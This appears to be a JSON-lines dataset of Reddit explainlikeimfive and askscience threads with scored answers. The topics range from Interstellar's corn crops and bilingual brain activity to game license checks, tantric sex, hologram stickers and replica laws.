{"q_id": "9ygs7d", "title": "why corn was selected as one and only crop surviving in those conditions in installer movie, is there an explanation to it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ygs7d/eli5_why_corn_was_selected_as_one_and_only_crop/", "answers": {"a_id": ["ea15mss", "ea16a7t", "ea17wz5", "ea1al8a", "ea1jdfk", "ea1kno1", "ea1yhhm"], "score": [4, 2, 2, 18, 5, 2, 3], "text": ["Not a farmer here but would like to be one and interstellar is an amazing movie, I think corn can be used in the more ways than any other plant (fuel food animal feed ect) and was the easiest to grow.", "I'm not quite sure, but if there is an explanation to this in the story of interstellar but I'm sure the people over at r/interstellar know the answer ", "I dont think they chose it, it's just happened to be one of the few crops left after the blight killed all the others off.", "Its a plot device.  The movie is a US centric movie and wanted to invoke the good old corn farmer for nostalgia.\n\nIf it has been soybean or rice, it would be harder to invoke audience connection to movie", "Everyone knows director Christopher Nolan actually planted that corn and sold it for a profit after filiming, right?", "The movie didn't really explain it, so everything here is speculation.\n\nCorn, the most common crop in the US, is also one of the most studied and genetically modified plants in the world. Scientists were probably able to modify it enough to resist the Blight more than other crops. The Blight would eventually drain nitrogen from the soil, so even that is only a short-term solution.", "The idea is that a series of crop blights destroyed the crops in sequence: Corn was the lucky one and hadn't blighted yet. It worked narratively as a convenient background as well as demonstrating how screwed everyone was even if they didn't notice: they were sustained on a single monoculture that would collapse suddenly when a corn disease hit.\n\n It ties into the theme that it appears like humanity would persevere, even when their existence is fragile as glass: Remember the government  want more farmers like they can corn yield their way out of ecological collapse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1u2qiy", "title": "Can we see the changes in the brain when the language being spoken changes?", "selftext": "Or is it all just happening in the language portion of the brain?  I feel like I have to manually \"flip a switch\" in my brain to go from one to the other, and I get confused going back and forth. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u2qiy/can_we_see_the_changes_in_the_brain_when_the/", "answers": {"a_id": ["cee0x8p", "ceeb4ti", "ceejrh9"], "score": [153, 2, 3], "text": ["So I assume you're asking if bilinguals' two languages are represented in distinct areas of the brain, and if bilingualism is associated with different brain areas that are active when switching from one language to another?\n\n\n Hernandez et al (2000) studied this with a single-language and dual-language picture naming taskusing behavioral measures and functional magnetic resonance imaging. Participants showed slower reaction times and increased activation in the dorsolateral prefrontal cortex in the mixed language condition relative to single language condition. There was no evidence that each language was represented in different areas of the brain. AKA language switching is a part of a general executive attentional system and languages are represented in overlapping areas of the brain. \n\nFurthermore, research (e.g. Wang et al, 2007) indicates that there are indeed neural correlates specifically associated with language switching, but that this seems to be direction dependent. \nLanguage switching elicits greater activation in the right superior prefrontal cortex, left middle and superior frontal cortex, and right middle cingulum and caudate. When the direction of switching is considered, forward switching (from native to secondary), but not backward switching (from secondary to native), activates several brain regions related to executive functions (i.e., bilateral frontal cortices and left ACC) relative to non-switching conditions. However we obviously can't garner what element of the switch is specifically responsible for this activation from this study in particular. \n\nTL;DR Yup. Language switching associated with executive function, neural correlates of each language are associated with overlapping areas of the brain and are switch-direction dependent. \n", "Along the same lines and equally interesting - yesterday I learned that Braille recognition takes place in the same areas as visual recognition for photos and print... I'll see if I can find a better source than \"my Braille teacher told me..\"", "There's some bilingualism stuff that's already been referenced but something that's also super cool are languages that use *different modalities* - e.g., spoken vs. signed languages. There's a bit of brain imaging evidence that signed languages are less lateralized in the brain (e.g., MacSweeney, et al., 2002) so regardless of the order of acquisition there are qualitative differences between how languages are realized in the brain, at least when you cross modalities.\n\nI'd be among the first to argue that what goes on in your brain within a single language modality is approximately equal for different languages although you see different patterns of activation in dominant vs. non-dominant languages (e.g., Mechelli, et al., 2004; see Hernandez, 2009 for a recent review...ish thing) as well as in acquisition for mono-, bi-, and tri- linguals (e.g., Kaushanskaya  &  Marian, 2009; Byers-Heinlein  &  Werker, 2009; Kov\u00e1cs  &  Mehler, 2009).\n\n**References:**\n\nByers-Heinlein, K.,  &  Werker, J.F. (2009). Monolingual, bilingual, trilingual: Infants\u2019 language experience influences the development of a word learning heuristic. *Developmental Science*, 12(5), 815-823.\n\nHernandez, A. E. (2009). Language switching in the bilingual brain: What\u2019s next?. *Brain and Language*, 109(2), 133-140.\n\nKaushanskaya, M.,  &  Marian, V. (2009). The bilingual advantage in novel word learning. *Psychonomic Bulletin  &  Review*, 16(4), 705-710.\n\nKov\u00e1cs, \u00c1. M.,  &  Mehler, J. (2009). Cognitive gains in 7-month-old bilingual infants. *Proceedings of the National Academy of Sciences*, 106(16), 6556-6560.\n\nMacSweeney, M., Woll, B., Campbell, R., McGuire, P. K., David, A. S., Williams, S. C., Suckling, J., Calvert, G. A.,  &  Brammer, M. J. (2002). Neural systems underlying British Sign Language and audio\u2010visual English processing in native users. *Brain*, 125(7), 1583-1593.\n\nMechelli, A., Crinion, J. T., Noppeney, U., O'Doherty, J., Ashburner, J., Frackowiak, R. S.,  &  Price, C. J. (2004). Neurolinguistics: structural plasticity in the bilingual brain. *Nature*, 431(7010), 757-757."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "240tt4", "title": "how come torrented/cracked games cannot authenticate with the online servers?", "selftext": "title.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/240tt4/eli5_how_come_torrentedcracked_games_cannot/", "answers": {"a_id": ["ch2hmzf", "ch2hntt", "ch2k975", "ch2py1r"], "score": [2, 10, 5, 2], "text": ["Because online servers are made with the sole purpose of preventing users of cracked/torrented games from playing. Everything is working as intended.", "Online servers normally have a system set up (think of the term \"handshake\") to determine if someone is supposed to be there. When you get a game, you now normally have to have a serial number or login to use it online. Downloading these from illegitimate sources will normally result in you not being able to use them online.", "During the launching process of the game, it automatically checks itself if the serial key entered at installation is a valid serial key (there is some code that does a simple calculation on your entered key and see if the outcome matches a chosen pattern). This code is usually stored in the main .exe file and possibly a couple other files in the same directory. A cracker would reverse engineer these files to disable the checking routine. This is also how the old No-CD cracks used to be--they reversed engineered the .exe and disabled the code which checked for an original CD or DVD in your drive. Either way, all security of the authentication system is vulnerable due to the fact that the security system itself is already on your computer and you can do anything to it. It is like putting expensive treasure in a hard to crack safe but then leaving the safe unattended in public.\n\nThese days the program would try to connect to the internet as a secondary protection. Your crack is \"client side\", but there are server side checks done by the game company which you cannot pass unless you have a real key, or you crack their server's code directly. Today's cracks rely on replacing client files and also turning off your internet connection or editing system files to redirect the software's requests to talk to the main servers.\n\nKey generators are programs that crackers made that can generate keys that fit the correct pattern (so you can go ahead and install the software, maybe even run it client side), but as soon as you try to use online features, the company's server would easily recognise your key as invalid since it would have an actual list of keys that were actually assigned to software and sold. Your key (like millions other possible keys) may fit the pattern, but if the company only made 10,000 DVDs to sell, then there exists only 10,000 valid keys, and you would be unlikely to chance on a legit key, let alone one that hasn't already been claimed by a real customer.", "There are multiple license checks. \nThe single-player check runs on your machine, and can be faked because you own the machine. That may be a simple key check, or it might \"phone home\". Doesn't matter. Ultimately, you can fake whatever check is made.\n\nThe multiplayer check is much harder to fake, because it's *not* running on your machine. You don't control the computer running the check, so you either have a license or you don't."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "l5yws", "title": "tantric sex", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/l5yws/eli5_tantric_sex/", "answers": {"a_id": ["c2q240e", "c2q24ei", "c2q26pr", "c2q27bj", "c2q28yr", "c2q2ebp", "c2q2eti", "c2q3c82", "c2q3sd5", "c2q5pei", "c2q6g51", "c2q240e", "c2q24ei", "c2q26pr", "c2q27bj", "c2q28yr", "c2q2ebp", "c2q2eti", "c2q3c82", "c2q3sd5", "c2q5pei", "c2q6g51"], "score": [15, 35, 192, 19, 15, 2, 8, 8, 22, 9, 2, 15, 35, 192, 19, 15, 2, 8, 8, 22, 9, 2], "text": ["All sensation is in your mind. Tantra is the art of focusing the minds of two partners toward each-other's pleasure. Once mentally stimulated as such, the intensity of sensation from their sex will be increased.", "Tantric sex is like going to a mall, walking for hours, and going home empty handed. ", "Okay, I'm gonna assume you know what sex is, at least the general concept.\n\nThe end goal of tantric sex is enlightenment; a mental state in which you can live without suffering.\n\nTantric Sex is not an accepted practice for Buddhist priests, and has a history of being used by monks to abuse younger girls (kind of like the catholic church, but not nearly as common). Buddhist priests are celibate (they decide not to have sex, so they won't get distracted from their religious goals).\n\nTantric sex was never a real phenomenon, but was derived from hindu buddhist paintings of gods sitting like [this](_URL_0_). Tantric sex is difficult to learn about because Tantric buddhism is full of secrets and there aren't very many old books about it.\n\nThe idea of tantric sex is that a woman will sit in a man's lap with his pee pee insider her hooha and they will meditate (which is what buddhists do to think about everything and nothing at once). The woman will bring the man great \"insight\" (new ideas and understandings) that he wouldn't be able to have otherwise.\n\nSting, the musician, was quoted in an interview talking about having tantric sex, and insisted it was about a \"journey\" but all anyone would pay attention to was the fact that he said he would have sex for many hours on end.\n\nThe western world has bastardized and appropriated tantric sex\n\nEdit: that's a very shortened version... it would take me five pages of big words to adequately explain it.", "Tantra is a Hindu philosophy which describes is a route by means of which people attain a higher spiritual awareness or power, with the achievement of such being a \"goal\" of Hindu religion.\n\nIn Hinduism there are many routes to successful practice of life or religion.  In tantra, people explore the physicality of the body, whereas people using other strategies would work more to control or suppress these same body functions.\n\nHere is a [video](_URL_0_) celebrating the marriage of the master of tantra, Lord Shiva.  People dress up as monsters and the ascetics cover themselves in the ashes of the dead.  A lot of young adult males are blasted out of their minds on bhang (marijuana) and the music is loud and people dance everywhere.  People who can have sex do and that is part of the celebration, but society does not talk about that at all unless you are of a social class which openly talks about sex anyway.\n\nIn Western society it is a different concept - \"California tantra\", perhaps.  The concept is to train oneself to be close to orgasm in sex but to delay it.  The theory is that if one trains oneself then one can extend the period of time one spends in bliss on the edge of orgasm.  This is done to an extent in India, but traditional tantra means this and hundreds of other things.", "It's difficult to explain, but here is my best attempt (for a 5 year old I guess, but this is for a 5 year old willing to use big adult words):\n\nBesides creating babies, couples will have sex with each other to make the relationship stronger. Plus is just feels really good. Biologically, we're inclined to have sex for the purpose of making babies, and the way most people have sex is to keep feeling better and better between their legs until there is an explosion of really good feeling and baby juice that lasts maybe 5 or 10 seconds max, after which the man usually has to stop for awhile. This whole process can last different amount of times based on a number of factors, but sill generally be less than half an hour long.\n\nTantric sex is something that takes a lot of practice, but instead of having sex to get the end result of a good feeling explosion, the people involved focus on what they feel like at each point during sex, not how good the end of sex will feel. Doing this, they can build up the good feelings and sex can last for however long the people involved want it to, which could be several hours. Men with a lot of practice can get really close to that explosion of good feeling, but can prolong it to make it feel almost like that explosion of good feeling, but for 10 minutes instead of seconds in some cases.\n\nIt takes a lot of practice and frustration when learning how to have tantric sex, but people who are able to will usually prefer it to the more common, 30 minute max sex that we have because biology wants us to.\n\nTL;DR: Tantric sex is like regular sex but you enjoy the feeling at each moment, rather than focusing on how good it will feel to finish. Through practice, this can lead to sex that can last for hours, and orgasm like feelings that last several minutes.", "Mommies and Daddies like to hug each other because they love each other.  Sometime mommies and daddies like to hug for a long time because they love each other so so much and because they love you too.", "Am I the only one who gets a little creeped out when I try to think of how to explain something sexual to a 5 year old?", "Ask your mother.", "Indian here. I have been studying Hinduism and other derivatives (Buddhism) for a while now. I will attempt to explain.\n\nThe end goal of Hinduism is the state of Nirvana - a state of eternal bliss, free from the cycle of birth and death and free from its physical pains. That is that in a nutshell. There is more to it, but assume that every spiritual practitioner's end goal is to \"liberate\" himself/herself from the physical body.\n\nThe means of achieving this goal is to elevate something called the **kundalini** (or the coiled latent energy) that is believed to reside at the base of every person's spinal column. This in itself will require great exposition, but just take it that all spiritual aspirants practice different forms of yoga/meditation in order to elevate this latent energy. When this energy begins to rise, it is believed to hit 7 **chakras** or wheels. These wheels have been known to corroborate with the endocrine glands, but not much research has been done. As this energy rises due to the practitioner performing various austerities and techniques (breath retention, meditation, etc), the body begins to experience various sights, sounds and smells. Finally, when the energy reaches the crown of the head, the person is enlightened. One such enlightened soul was the Buddha.\n\nNow, with this background, the missing link is what does one do to reach Nirvana. Many techniques exist. Broadly, most of them are slotted into the left-handed path and the right-handed path. Most Hindus follow the right-handed path. This involves practicing yoga, meditation, following a vegetarian diet and complex breathing techniques that force the *kundalini* up the spinal column. \n\nHowever, it is believed that in these times (the Hindus believe in 4 Yugas and in each Yuga, man ascends/descends towards materialism) man is in his most primal state of attachment with the earth. Hence, the traditional right handed path of pure meditation fails. As someone who has tried to meditate, I can attest to this. The mind if fickle and it is impossible to focus!\n\nThus, Tantra Yoga was born. Tantra Yoga was taught to man by the Lord Shiva himself. The Sanskrit root for *tan* means the body. Similar to Tantra are Mantra and Yantra. These are tools given to the yogic aspirant to still his/her mind. A Mantra is a phrase that is attuned to a person and when repeated many times over in the mind, it can lead to Nirvana. A Yantra is a visual image and the aspirant is asked to visualize and contemplate it in his/her mind for the same reason. One of the popular Yantras that the Hindus consider sacred is the [Sri Yantra](_URL_3_). Hindu temples (and many mosques) are adorned with these motifs to give the aspirant a means to focus.\n\nThis leads us to the last of the lot - Tantra. As I said before, Tantra is that form of yoga that uses the body as a vehicle to attain Nirvana. Now, the West has been guilty of reducing this sacred, ancient and left-handed path of yoga into **Tantric Sex** and there are many widespread wrong notions about it. A Tantric practitioner has to be initiated into a school. there are a few schools now still extant, but have been driven out of public eye due to their practices. While I can talk a lot about Tantric Yoga, I will address the sex aspect now.\n\nIn the Tantric Yoga school, it is believed that the *kundalini*'s essence is carried in the body fluids. Thus, they place a great deal of importance on the semen and the vaginal fluids of the woman. The student of the Tantric Yoga will let you believe that there is nothing erotic or sensual about the ritual sex and is what it is - ritual. Most of the times, the women are middle aged and initiated specifically for this purpose and it is not anything like the porno and sleazy films that the West has pandered to its audience. During the ritual, the woman takes on the physical form of the Goddess Kundalini. She is propitiated and then stimulated. It is believed that as the woman slowly ascends to a state of ecstasy, her kundalini elevates and the devotees worship the goddess via the form of the *dakini* (this is the official word for the goddess when she enters the human form). The ritual will last for an hour or so. Animal sacrifices are normally made. Lots of meat and wine are consumed and then this sets the stage for more intense rituals which are not shared to the uninitiated. \n\nNow, it is interesting that one of the core tenets of the left-handed path is idol worship. Because of the belief that man cannot let go of the material world easily, in order to facilitate his *kundalini* rising, he is asked to visualize the god and goddess via a stone carving. Today, this has been adopted by the right handed path and virtually every Hindu temple has dozens of idols. [An example](_URL_2_) Traditional right handed followers eschew idol worship and entreat their brethren to focus on *yantras* in their mind  if they so need to be visual!\n\nA final word - the rising of the kundalini is exoterically explained to the masses as the meeting of the goddess with the Lord Shiva (who resides at the crown of one's forehead). This meeting results in a state of eternal bliss (Nirvana) and that it literally springs forth from [his head](_URL_1_). These images are metaphors and have sadly been lost in centuries that Hinduism has existed. Today, idols and murals of Shiva are made, yet few people understand its esoteric meaning. Similarly, the goddess Kundalini is represented as the ferocious [Goddess Durga](_URL_4_) who is shown as a kick-ass woman, riding a tiger and stabbing a demon. Again, this is metaphoric and represents the destruction of the pleasures of the flesh as the Kundalini rises to meet Lord Shiva.\n\nHope this helps. A fascinating, thorough and a \"for dummies\" exposition of Tantra can be found in Georg Fuerstein's [Tantra  - Path Of Ecstasy](_URL_0_)", "Like you're five?\n\nIt's when Mummy and Daddy hug in a *special way*.", "you're 5.  I'll explain it when you're older.", "All sensation is in your mind. Tantra is the art of focusing the minds of two partners toward each-other's pleasure. Once mentally stimulated as such, the intensity of sensation from their sex will be increased.", "Tantric sex is like going to a mall, walking for hours, and going home empty handed. ", "Okay, I'm gonna assume you know what sex is, at least the general concept.\n\nThe end goal of tantric sex is enlightenment; a mental state in which you can live without suffering.\n\nTantric Sex is not an accepted practice for Buddhist priests, and has a history of being used by monks to abuse younger girls (kind of like the catholic church, but not nearly as common). Buddhist priests are celibate (they decide not to have sex, so they won't get distracted from their religious goals).\n\nTantric sex was never a real phenomenon, but was derived from hindu buddhist paintings of gods sitting like [this](_URL_0_). Tantric sex is difficult to learn about because Tantric buddhism is full of secrets and there aren't very many old books about it.\n\nThe idea of tantric sex is that a woman will sit in a man's lap with his pee pee insider her hooha and they will meditate (which is what buddhists do to think about everything and nothing at once). The woman will bring the man great \"insight\" (new ideas and understandings) that he wouldn't be able to have otherwise.\n\nSting, the musician, was quoted in an interview talking about having tantric sex, and insisted it was about a \"journey\" but all anyone would pay attention to was the fact that he said he would have sex for many hours on end.\n\nThe western world has bastardized and appropriated tantric sex\n\nEdit: that's a very shortened version... it would take me five pages of big words to adequately explain it.", "Tantra is a Hindu philosophy which describes is a route by means of which people attain a higher spiritual awareness or power, with the achievement of such being a \"goal\" of Hindu religion.\n\nIn Hinduism there are many routes to successful practice of life or religion.  In tantra, people explore the physicality of the body, whereas people using other strategies would work more to control or suppress these same body functions.\n\nHere is a [video](_URL_0_) celebrating the marriage of the master of tantra, Lord Shiva.  People dress up as monsters and the ascetics cover themselves in the ashes of the dead.  A lot of young adult males are blasted out of their minds on bhang (marijuana) and the music is loud and people dance everywhere.  People who can have sex do and that is part of the celebration, but society does not talk about that at all unless you are of a social class which openly talks about sex anyway.\n\nIn Western society it is a different concept - \"California tantra\", perhaps.  The concept is to train oneself to be close to orgasm in sex but to delay it.  The theory is that if one trains oneself then one can extend the period of time one spends in bliss on the edge of orgasm.  This is done to an extent in India, but traditional tantra means this and hundreds of other things.", "It's difficult to explain, but here is my best attempt (for a 5 year old I guess, but this is for a 5 year old willing to use big adult words):\n\nBesides creating babies, couples will have sex with each other to make the relationship stronger. Plus is just feels really good. Biologically, we're inclined to have sex for the purpose of making babies, and the way most people have sex is to keep feeling better and better between their legs until there is an explosion of really good feeling and baby juice that lasts maybe 5 or 10 seconds max, after which the man usually has to stop for awhile. This whole process can last different amount of times based on a number of factors, but sill generally be less than half an hour long.\n\nTantric sex is something that takes a lot of practice, but instead of having sex to get the end result of a good feeling explosion, the people involved focus on what they feel like at each point during sex, not how good the end of sex will feel. Doing this, they can build up the good feelings and sex can last for however long the people involved want it to, which could be several hours. Men with a lot of practice can get really close to that explosion of good feeling, but can prolong it to make it feel almost like that explosion of good feeling, but for 10 minutes instead of seconds in some cases.\n\nIt takes a lot of practice and frustration when learning how to have tantric sex, but people who are able to will usually prefer it to the more common, 30 minute max sex that we have because biology wants us to.\n\nTL;DR: Tantric sex is like regular sex but you enjoy the feeling at each moment, rather than focusing on how good it will feel to finish. Through practice, this can lead to sex that can last for hours, and orgasm like feelings that last several minutes.", "Mommies and Daddies like to hug each other because they love each other.  Sometime mommies and daddies like to hug for a long time because they love each other so so much and because they love you too.", "Am I the only one who gets a little creeped out when I try to think of how to explain something sexual to a 5 year old?", "Ask your mother.", "Indian here. I have been studying Hinduism and other derivatives (Buddhism) for a while now. I will attempt to explain.\n\nThe end goal of Hinduism is the state of Nirvana - a state of eternal bliss, free from the cycle of birth and death and free from its physical pains. That is that in a nutshell. There is more to it, but assume that every spiritual practitioner's end goal is to \"liberate\" himself/herself from the physical body.\n\nThe means of achieving this goal is to elevate something called the **kundalini** (or the coiled latent energy) that is believed to reside at the base of every person's spinal column. This in itself will require great exposition, but just take it that all spiritual aspirants practice different forms of yoga/meditation in order to elevate this latent energy. When this energy begins to rise, it is believed to hit 7 **chakras** or wheels. These wheels have been known to corroborate with the endocrine glands, but not much research has been done. As this energy rises due to the practitioner performing various austerities and techniques (breath retention, meditation, etc), the body begins to experience various sights, sounds and smells. Finally, when the energy reaches the crown of the head, the person is enlightened. One such enlightened soul was the Buddha.\n\nNow, with this background, the missing link is what does one do to reach Nirvana. Many techniques exist. Broadly, most of them are slotted into the left-handed path and the right-handed path. Most Hindus follow the right-handed path. This involves practicing yoga, meditation, following a vegetarian diet and complex breathing techniques that force the *kundalini* up the spinal column. \n\nHowever, it is believed that in these times (the Hindus believe in 4 Yugas and in each Yuga, man ascends/descends towards materialism) man is in his most primal state of attachment with the earth. Hence, the traditional right handed path of pure meditation fails. As someone who has tried to meditate, I can attest to this. The mind if fickle and it is impossible to focus!\n\nThus, Tantra Yoga was born. Tantra Yoga was taught to man by the Lord Shiva himself. The Sanskrit root for *tan* means the body. Similar to Tantra are Mantra and Yantra. These are tools given to the yogic aspirant to still his/her mind. A Mantra is a phrase that is attuned to a person and when repeated many times over in the mind, it can lead to Nirvana. A Yantra is a visual image and the aspirant is asked to visualize and contemplate it in his/her mind for the same reason. One of the popular Yantras that the Hindus consider sacred is the [Sri Yantra](_URL_3_). Hindu temples (and many mosques) are adorned with these motifs to give the aspirant a means to focus.\n\nThis leads us to the last of the lot - Tantra. As I said before, Tantra is that form of yoga that uses the body as a vehicle to attain Nirvana. Now, the West has been guilty of reducing this sacred, ancient and left-handed path of yoga into **Tantric Sex** and there are many widespread wrong notions about it. A Tantric practitioner has to be initiated into a school. there are a few schools now still extant, but have been driven out of public eye due to their practices. While I can talk a lot about Tantric Yoga, I will address the sex aspect now.\n\nIn the Tantric Yoga school, it is believed that the *kundalini*'s essence is carried in the body fluids. Thus, they place a great deal of importance on the semen and the vaginal fluids of the woman. The student of the Tantric Yoga will let you believe that there is nothing erotic or sensual about the ritual sex and is what it is - ritual. Most of the times, the women are middle aged and initiated specifically for this purpose and it is not anything like the porno and sleazy films that the West has pandered to its audience. During the ritual, the woman takes on the physical form of the Goddess Kundalini. She is propitiated and then stimulated. It is believed that as the woman slowly ascends to a state of ecstasy, her kundalini elevates and the devotees worship the goddess via the form of the *dakini* (this is the official word for the goddess when she enters the human form). The ritual will last for an hour or so. Animal sacrifices are normally made. Lots of meat and wine are consumed and then this sets the stage for more intense rituals which are not shared to the uninitiated. \n\nNow, it is interesting that one of the core tenets of the left-handed path is idol worship. Because of the belief that man cannot let go of the material world easily, in order to facilitate his *kundalini* rising, he is asked to visualize the god and goddess via a stone carving. Today, this has been adopted by the right handed path and virtually every Hindu temple has dozens of idols. [An example](_URL_2_) Traditional right handed followers eschew idol worship and entreat their brethren to focus on *yantras* in their mind  if they so need to be visual!\n\nA final word - the rising of the kundalini is exoterically explained to the masses as the meeting of the goddess with the Lord Shiva (who resides at the crown of one's forehead). This meeting results in a state of eternal bliss (Nirvana) and that it literally springs forth from [his head](_URL_1_). These images are metaphors and have sadly been lost in centuries that Hinduism has existed. Today, idols and murals of Shiva are made, yet few people understand its esoteric meaning. Similarly, the goddess Kundalini is represented as the ferocious [Goddess Durga](_URL_4_) who is shown as a kick-ass woman, riding a tiger and stabbing a demon. Again, this is metaphoric and represents the destruction of the pleasures of the flesh as the Kundalini rises to meet Lord Shiva.\n\nHope this helps. A fascinating, thorough and a \"for dummies\" exposition of Tantra can be found in Georg Fuerstein's [Tantra  - Path Of Ecstasy](_URL_0_)", "Like you're five?\n\nIt's when Mummy and Daddy hug in a *special way*.", "you're 5.  I'll explain it when you're older."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://vitalcoaching.com/images/yabyum8.jpg"], ["http://www.youtube.com/user/nandanupadhyay#p/a/u/1/g30mMdFPvPA"], [], [], [], [], ["http://www.amazon.com/Tantra-Path-Ecstasy-Georg-Feuerstein/dp/157062304X/ref=sr_1_1?ie=UTF8&amp;qid=1318187568&amp;sr=8-1", "http://www.koausa.org/Gods/God9.html", "http://en.wikipedia.org/wiki/Lingam", "http://en.wikipedia.org/wiki/Sri_Yantra", "http://en.wikipedia.org/wiki/Durga"], [], [], [], [], ["http://vitalcoaching.com/images/yabyum8.jpg"], ["http://www.youtube.com/user/nandanupadhyay#p/a/u/1/g30mMdFPvPA"], [], [], [], [], ["http://www.amazon.com/Tantra-Path-Ecstasy-Georg-Feuerstein/dp/157062304X/ref=sr_1_1?ie=UTF8&amp;qid=1318187568&amp;sr=8-1", "http://www.koausa.org/Gods/God9.html", "http://en.wikipedia.org/wiki/Lingam", "http://en.wikipedia.org/wiki/Sri_Yantra", "http://en.wikipedia.org/wiki/Durga"], [], []]}
{"q_id": "we8ei", "title": "There doesn't seem to be any official lists of NASA inventions or innovations available on the Internet. Could we perhaps compile a semi-definitive list here?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/we8ei/there_doesnt_seem_to_be_any_official_lists_of/", "answers": {"a_id": ["c5cl29x"], "score": [2], "text": ["I say you should just make a FOIA request to NASA and post back what you receive? If NASA has made official claim to some subset of contents to its database then ask them for it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ueuzb", "title": "A few questions about nervous ticks and \"tells\"...", "selftext": "Answers to any of these would be appreciated:\nWhy do people often do awkward or obvious things when they are nervous or anxious and why are so many nervous ticks so common among many people?\nAlso related, why do people have \"tells\" when they are lying?  What is going on in the brain, or psychologically that causes us to do some random action? Is it like a distraction or something?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ueuzb/a_few_questions_about_nervous_ticks_and_tells/", "answers": {"a_id": ["c4uuman"], "score": [2], "text": ["Take it for what you will, since I am not the professional, but I have Tourette's syndrome, and my neurologist is arguably the best in his field in the world. They really have no fucking clue. Maybe someone else will come in here and say something, but I've participated in multiple studies to help him learn more about the condition, and for years he's told me the same thing. From someone who suffers from nervous tic(*)s constantly, it just relieves a feeling and makes you feel better. Like scratching an itch."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7cbo2j", "title": "Why do dogs, but not wolves, need to be groomed?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7cbo2j/why_do_dogs_but_not_wolves_need_to_be_groomed/", "answers": {"a_id": ["dpotfru"], "score": [7], "text": ["Some domestic dogs have been bred to have long hair specifically, while wolves haven't had that selection pressure in nature. Also, some breeds of domestic dogs have continuously growing hair (so need more frequent grooming) while most dogs (including wolves) have hair that grows to a certain length then stops."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "foox80", "title": "why hologram stickers can\u2019t be duplicated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/foox80/eli5_why_hologram_stickers_cant_be_duplicated/", "answers": {"a_id": ["flgazng", "flgb6ud"], "score": [2, 6], "text": ["They can be duplicated. They're just hard to make. Especially back in the 90s, most anyone could take a VCR, make copies of a tape, and glue on some color labels to it if they were feeling fancy. There's lots and lots of places that will do nice color printing for you, or it can be done well enough at home with the right printer. So a pirate could produce something that looked very close to what was sold commercially, if they wanted to put in some effort into it.\n\nI suppose the idea was that producing holograms is a pretty specialized process, expensive unless done in bulk, and hopefully no company would be stupid enough to print a bunch of Disney holograms for some random guy, because that would result in serious legal trouble.\n\nBut it definitely happened, especially in places that were less regulated. Back then there was a huge outdoor black market in Moscow (in Russia) and I remember seeing a guy just selling sheets of holograms for various companies.", "They can be duplicated. It's just prohibitively expensive for traditional counterfeiters to duplicate them. \n\nThere are really no physical anti-counterfeiting measures in cards or currency that can't be duplicated ... with the right technology and equipment. \n\nBut most anti-counterfeiting measures aren't about preventing duplication. Rather, they're about increasing the *cost and risk* of duplication to the point where counterfeiting ceases to be a profitable business."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4t6nzv", "title": "how do things like medicine or vinegar just crystallize?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4t6nzv/eli5_how_do_things_like_medicine_or_vinegar_just/", "answers": {"a_id": ["d5f1wrb"], "score": [3], "text": ["I will attempt an explanation here even though I'm no expert. Some medicines have an active ingredient that, by itself, is in a crystalline state but it needs an inert component to make it a liquid to aid in application. When the liquid evaporates all that is left is the active (crystalline) ingredient.  A popular wart medication with the active ingredient salicylic acid suspended in acetone  would be an example.\nAlso, some liquids naturally have crystalline components to them that are revealed when the liquid evaporates like salt water. Any mineral or salt compound can be suspended in water or other applicable liquid and evaporation will reveal the salt, mineral or metal(?).\n\nHigh school chemistry 101"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9rw5mk", "title": "why is it illegal to sell replicas but not to buy them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rw5mk/eli5_why_is_it_illegal_to_sell_replicas_but_not/", "answers": {"a_id": ["e8k3baq", "e8k4duq", "e8k892y", "e8k9qbp", "e8kdo23", "e8kdont"], "score": [8, 25, 2, 12, 2, 2], "text": ["Replicas of what?\n\nGenerally speaking, neither buying nor selling replicas of things isn't illegally.\n\nCopyright infringement may be a criminal or civil offense, depending on jurisdiction.", "It is not illegal to sell a replica of something. Or at least it is rarely illegal to do so. What is illegal is to sell a replica as an original. That is fraud as well as other crimes such as forgery. You can also face copyright violations, which are civil infractions, if you are making a copy of something without permission. ", "It's hard to prove someone knowingly bought a replica and if someone was duped into thinking they were buying an original it would not be fair to punish them for being a victim of a scam. ", "There's a big difference between a replica, which is usually completely legal, and a forgery, which is illegal. \n\nA replica, also called a reproduction, is O.K. because it is clearly stated to be a copy, and not original. \n\nA forgery, however, is a copy that is sold under the pretense of being an original. \n\nFor example, if you made reproduction of famous paintings, and sold them *as non-original copies*, that's okay. If you claim they are *original*, and not reproductions, that's illegal. The main point here is intent to deceive or defraud the purchaser. ", "What replica is illegal to sell? ", "What replica is illegal to sell? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
